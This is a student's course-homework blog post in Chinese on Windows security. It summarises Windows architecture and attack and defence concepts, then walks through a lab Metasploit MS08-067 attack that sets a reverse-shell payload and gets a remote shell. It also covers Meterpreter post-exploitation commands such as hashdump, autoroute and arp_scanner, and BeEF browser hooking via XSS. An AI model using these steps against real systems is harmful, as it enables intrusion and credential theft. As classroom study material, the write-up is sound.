2018-2019-2 20189201 《网络攻防实践》第七周作业

梦里梦外; 2021-11-22 10:31 392阅读 0赞

## 任务一、教材学习 【Windows操作系统安全攻防】 ##

### 一、Windows操作系统基本框架 ###

Windows操作系统分为运行于处理器特权模式(ring 0)的操作系统内核，以及运行在处理器非特权模式(ring 3)的用户空间代码。采用宏内核(monolithic)模式进行架构。内核基本模块分为：Windows执行体 、Windows内核体 、设备驱动程序 、硬件抽象层 、Windows窗口与图形界面内核实现代码 、系统支持进程 、 环境子系统服务进程 、服务进程 、用户应用条件 、核心子系统DLL 。  
Windows将进程视作可执行程序运行时刻的容器，而线程是指令执行的具体载体。  
Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分。  
Windows早期使用FAT文件分配表格式来管理文件系统，现在使用NTFS文件系统，较之前更加安全，具有更高的性能、可靠性和资源利用率。Windows可执行文件采用PE格式。  
Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库，在Windows系统配置和控制方面承担着关键角色。可通过自带的 regedit.exe 注册表查找编辑工具或其他第三方工具进行访问与修改，可使用 RegMon 等工具进行监控。  
Windows的网络组件模块根据OSI网络模型可分为：  
(1)物理层 各种网卡硬件的设备驱动程序；  
(2)链路层 NDIS库及miniport驱动程序；  
(3)网络层与传输层 TDI传输层，实现了TCP/IP等协议栈；  
(4)会话层与表示层 网络API DLL 及 TDI 客户端；  
(5)应用层 网络应用程序与服务进程。

### 二、Windows操作系统的安全体系结构与机制 ###

Windows操作系统是基于引用监控器模型来实现基本的对象安全模型。最为核心的是位于内核中的SRM(Security Reference Monitor)安全引用监控器及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务，它们与Winlogon/Netlogon及Eventlog等服务一起，实现了对主体用户的身份认证机制、对所有的资源对象的访问控制机制，以及对访问的安全审计机制。

#### 1、Windows身份认证机制 ####

Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象，有用户、用户组和计算机。  
Windows为每个用户和计算机设置账户(accounts)进行管理，作为这些安全主题运行程序的执行环境，账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。用户组是为了简化用户管理而引入的用户账户容器，通过将用户账户添加入特定的用户组，使得该用户拥有用户组配置的全部权限，有效地使用用户组，科室的系统管理员对权限控制的配置工作量大大减少。  
Windows用户账户的口令字经加密被保存于SAM或活动目录AD中。在Windows运行期间，内核对SAM文件加了一个持久性的文件锁，故即使是Administrator账户，通过正常路径也无法获取，只有LocalSystem账户权限才可以读取，但现在有许多黑客工具也可以在内存中直接dump出SAM的内容。  
Windows支持本地身份认证和网络身份认证两种方式。Winlogin进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。

#### 2、Windows授权与访问控制机制 ####

Windows授权与访问控制机制是基于引用监控器模型，由内核中的SRM模块与用户态的LSASS服务共同实施，由SRM作为安全主体访问对象资源时的中介，根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证后，Windows系统会赋予用户一个访问令牌。Windows对于系统中所有需保护的资源都抽象成对象。

#### 3、Windows安全审计机制 ####

系统审计策略在本地安全策略中由系统管理员来定义，来确定系统对哪些事件进行记录。

#### 4、Windows的其他安全机制 ####

以上的身份认证、授权与访问控制及安全审计是三个基本安全功能特性，其他的还包括Windows安全中心、IPsec加密与验证机制等。

### 三、windows远程安全攻防技术 ###

#### 1、Windows系统的安全漏洞生命周期 ####

主要分为漏洞的发现、利用与修补过程。在安全漏洞当中，对攻击者最具价值的是远程 渗透攻击可利用、后果为远程执行代码的高危型漏洞，或本地渗透攻击可利用、后果为本地特权提升的高危型漏洞，这二者相结合可以造成严重的安全问题。各大厂商在针对安全漏洞，也会作出相应的补丁修复。有许多安全漏洞公开披露信息库，如：CVE、NVD、SecurityFocus、OSVDB等以供查询参考。这对一个特定主机，典型渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。典型工具是 Metasploit工具，在后面实践当中会详细介绍。

#### 2、Windows远程口令猜测与破解攻击 ####

Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持，因而它也就成为攻击者实施Windows远程口令字猜测的传统攻击渠道。还有一种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。Windows的在不同版本在进行网络身份认证时，使用了LanMan、NTLM和Kerberos三种认证协议。  
这对这些攻击，最根本的防御措施还是使用高安全强度口令，尽量关闭不必要的易受远程口令猜测攻击网络服务，配置主机防火墙来限制对端口服务，利用网络防火墙限制这些服务的访问，禁用过时且存在本质缺陷的LanMan与NTLM，仅使用经过安全加固NTLMv2与Kerberos认证协议，对于安全级别较高的Windows系统服务器等主机，管理员可以制定和实施强口令字策略及设定账户锁定阈值。

#### 3、Windows网络服务远程渗透攻击 ####

主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透，针对NetBios网络服务、SMB网络服务、MSRPC网络服务进行攻击，还有针对微软网络服务及第三方网络服务进行远程攻击。防范措施包括：从软件设计根源上尽可能减少漏洞出现，管理员尽可能快的更新与应用软件安全补丁，在“零日”漏洞时间管理员应作出相应的防范，利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务，通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补，启用入侵检测机制，建立有效的事件应急相应计划。

### 四、Window本地安全攻防技术 ###

利用之前的技术获得Windows系统的访问权后，接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序。提权主要利用DLL注入和破解本地程序安全漏洞实现，工具有GetAdmin及Metasploit。敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。消踪灭迹主要包括关闭审计功能和清理事件日志。远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。

## 任务二、实践练习 ##

使用Metaspoit攻击MS08-067，提交正确得到远程Shell过程的截图  
MS08-067漏洞介绍  
  MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的 RPC 请求，则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码，此漏洞可用于进行蠕虫攻击，目前已经有利用该漏洞的蠕虫病毒。  
1.首先攻击机和靶机互ping,在kali终端开启msfconsole  
2.查找是否存在ms08\_067漏洞,查看返回信息，会显示出找到的渗透模块  
3.输入命令use exploit/windows/smb/ms08\_067\_netapi，进入利用该漏洞模块  
4.使用命令set payload generic/shell\_reverse\_tcp设置攻击有效载荷  
5.输入show options显示我们需要在攻击前需要设置的数据  
6.设置攻击机和靶机地址，并使用命令show options再次查看payload状态  
输入命令set LHOST + 攻击机IP，即set LHOST Ip;  
输入命令set RHOST + 靶机IP，即set RHOST IP；  
7.输入命令exploit开始攻击，下图为正常攻击成功结果  
![1206891-20190414194832597-304728411.png][]  
![1206891-20190414194842638-94070520.png][]  
![1206891-20190414194907674-2023890182.png][]  
![1206891-20190414194921608-1665077363.png][]  
![1206891-20190414194933626-866618285.png][]  
![1206891-20190414194954241-585010714.png][]  
![1206891-20190414195114610-2015347881.png][]  
![1206891-20190414195124104-461479437.png][]  
![1206891-20190414195137649-1208240871.png][]  
![1206891-20190414195146321-757819547.png][]

## 任务三、kali视频学习 ##

### 漏洞利用之Metasploit基础 ###

Auxiliary：辅助模块

encoders：供msfencode编码工具使用

exploits：攻击模块

payloads：这里面里出的是攻击载荷，也就是攻击成功后执行的代码。

post：后渗透阶段模块，在获得metepreter的shell之后可以使用的攻击代码。

### 漏洞利用之Meteoreter介绍 ###

meterpreter是metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。

meterpreter命令由核心命令和扩展库命令组成，可以添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、补货案件信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

常用命令：

background：将当前会话放置后台

load/use：加载模块

Interact：切换进一个信道

migrate：迁移进程

run：执行一个已有模块，输入run后按两下tab，会列出所有已有脚本，常用的有autoroute、hashdump、arp\_scanner、multi\_meter\_inject

Resource：执行一个已有的rc脚本，常用的为payload/windows/meterpreter/reverse\_tcp

### 漏洞利用之Metasploit后渗透测试 ###

具体步骤：

查看网卡信息  
添加路由表：run autoroute -s 10.0.0.1  
开socks代理：通过使用 auxiliary/server/socks4a 模块，可以为浏览器，Sqlmap，Nmap等使用  
通过Background和sessions -i可以自由切换进入session  
输入run可以看到在meterpreter上可以做到的很多命令  
通过run post/可以看到后渗透测试的模块  
获取内网信息：run arp\_scanner -r 10.0.0.1/24  
上传文件，做端口转发后进行后续测试

### Metasploit ###

1、在kali中使用metasploit，需要先使用命令service postgresql start开启PostgreSQL数据库服务，使用命令msfconsole开启metasploit服务，然后就可以完整的利用msf数据库查询exploit和记录。

![1206891-20190414195413657-1275371327.png][]

2、用nmap -sV扫描目标主机和端口上运行的软件的版本。

![1206891-20190414195458602-1213475776.png][]

3、搜索与proftpd匹配的模块。  
![1206891-20190414195607246-1120430705.png][]

4、接下来就可以利用该模块对目标进行攻击。  
![1206891-20190414195643086-973184094.png][]

### BeEF ###

对XSS漏洞往往需要一个强大的框架支持，如网络上的XSS平台，在KALI下，BeEf是一款丝毫不逊于XSS平台的工具。BeEf是浏览器攻击框架的简称，是一款专注于浏览器的渗透测试工具，它扩展了跨站漏洞的利用，能hook很多浏览器并可以执行很多内嵌命令。  
![1206891-20190414195804197-464174595.png][]

![1206891-20190414195812036-415564155.png][]

我们假设被测试主机由于XSS漏洞请求到页面http://127.0.0.1:3000/demod/basic.html，这是一个测试页面，如果通过XSS把该页面加入页面请求中，也就是说每个访问某个页面的人都会访问该页面，则访问者就会被BeEF hook 到，即加入到 Online Browsers中。  
![1206891-20190414195850899-339031990.png][]  
这样在主界面左端就可以看到一个在线主机。右侧 Current Browser 标签页中显示一系列信息。  
![1206891-20190414195923906-1582425454.png][]  
HOOK持续的时间为关闭测试页面为止，在此期间，相当于被控制了，可以发送攻击命令。  
我们以MISC下的Raw JavaScript模块为例进行测试，右端输入 Javascript code 给目标弹出窗口，点击Excute进行攻击。  
![1206891-20190414195954404-302949629.png][]  
如果成功，会弹出窗口提示：  
![1206891-20190414200100985-1786477160.png][]  
这时 Command results 显示result=It worked!。  
![1206891-20190414200134247-748464849.png][]  
BeEF的Proxy功能。  
选中目标主机，点击右键，在菜单中选中use as Proxy。  
![1206891-20190414200207833-907514840.png][]

在Rider选项卡中的 Forge Request 编辑并发送想要发送的内容，这里我们保持默认。  
点击send，在History选项卡中会显示执行请求的信息。  
![1206891-20190414200242359-1341106972.png][]  
执行完毕后（Processed显示complete）点击该条目，查看包的细节。借助于此，可以让目标访问特定的页面，如果特定页面有漏洞，就会中招 。  
![1206891-20190414200310075-842305691.png][]

转载于:https://www.cnblogs.com/keady/p/10706579.html

[1206891-20190414194832597-304728411.png]: /images/20211122/778a682ff5d04df7a31dfbbe1116da5f.png
[1206891-20190414194842638-94070520.png]: /images/20211122/025d9f2ed929415eb49179d10f7abd15.png
[1206891-20190414194907674-2023890182.png]: /images/20211122/fd9397b63f2b48e1a8e7e13321e64ed3.png
[1206891-20190414194921608-1665077363.png]: /images/20211122/f5e02b35d4e44a9890fe1b3680c167b2.png
[1206891-20190414194933626-866618285.png]: /images/20211122/f18cd59455c44ce4b5f78712686fe30c.png
[1206891-20190414194954241-585010714.png]: /images/20211122/ec828a0fe3b146eba8c4d71d6c90201d.png
[1206891-20190414195114610-2015347881.png]: /images/20211122/65eed8c576c444b48a11a7f1f66fac3c.png
[1206891-20190414195124104-461479437.png]: /images/20211122/234fd8c6bbe34ddc9c4b68bdb0c2b7bd.png
[1206891-20190414195137649-1208240871.png]: /images/20211122/0a2d5a821d334d28a43293a990e62e6c.png
[1206891-20190414195146321-757819547.png]: /images/20211122/6a1497d1089f413aa72b5ea838a7145b.png
[1206891-20190414195413657-1275371327.png]: /images/20211122/f43a2009c836470e8acf9151e868e4d0.png
[1206891-20190414195458602-1213475776.png]: /images/20211122/ed8f10402ecf47388885930152074deb.png
[1206891-20190414195607246-1120430705.png]: /images/20211122/c10bf4f6f1434f959d63bb493b0bf12f.png
[1206891-20190414195643086-973184094.png]: /images/20211122/0cfdf875cb1f49cab3c901a4da6d65c4.png
[1206891-20190414195804197-464174595.png]: /images/20211122/07250413f0f64ff191d56419bd6ca74b.png
[1206891-20190414195812036-415564155.png]: /images/20211122/cc134181dcff4ec6a01c6b28e6b956a8.png
[1206891-20190414195850899-339031990.png]: /images/20211122/f111b5a674334fd199379da34680fec2.png
[1206891-20190414195923906-1582425454.png]: /images/20211122/82da4a05f57049a68c1fbbbb5e38ba6b.png
[1206891-20190414195954404-302949629.png]: /images/20211122/30356c1643bd480a997e0e45c59feb71.png
[1206891-20190414200100985-1786477160.png]: /images/20211122/d4d69b3d7c3746cfba57309eea0f6069.png
[1206891-20190414200134247-748464849.png]: /images/20211122/44d1f59577ba40bdab573847c630ba1e.png
[1206891-20190414200207833-907514840.png]: /images/20211122/894698cb5e5d447aadee6e57ded2cbca.png
[1206891-20190414200242359-1341106972.png]: /images/20211122/10264cc2bb0345c9a9f532e5a4ef8323.png
[1206891-20190414200310075-842305691.png]: /images/20211122/319defef1b9b4ae1b5ab7e802d008ceb.png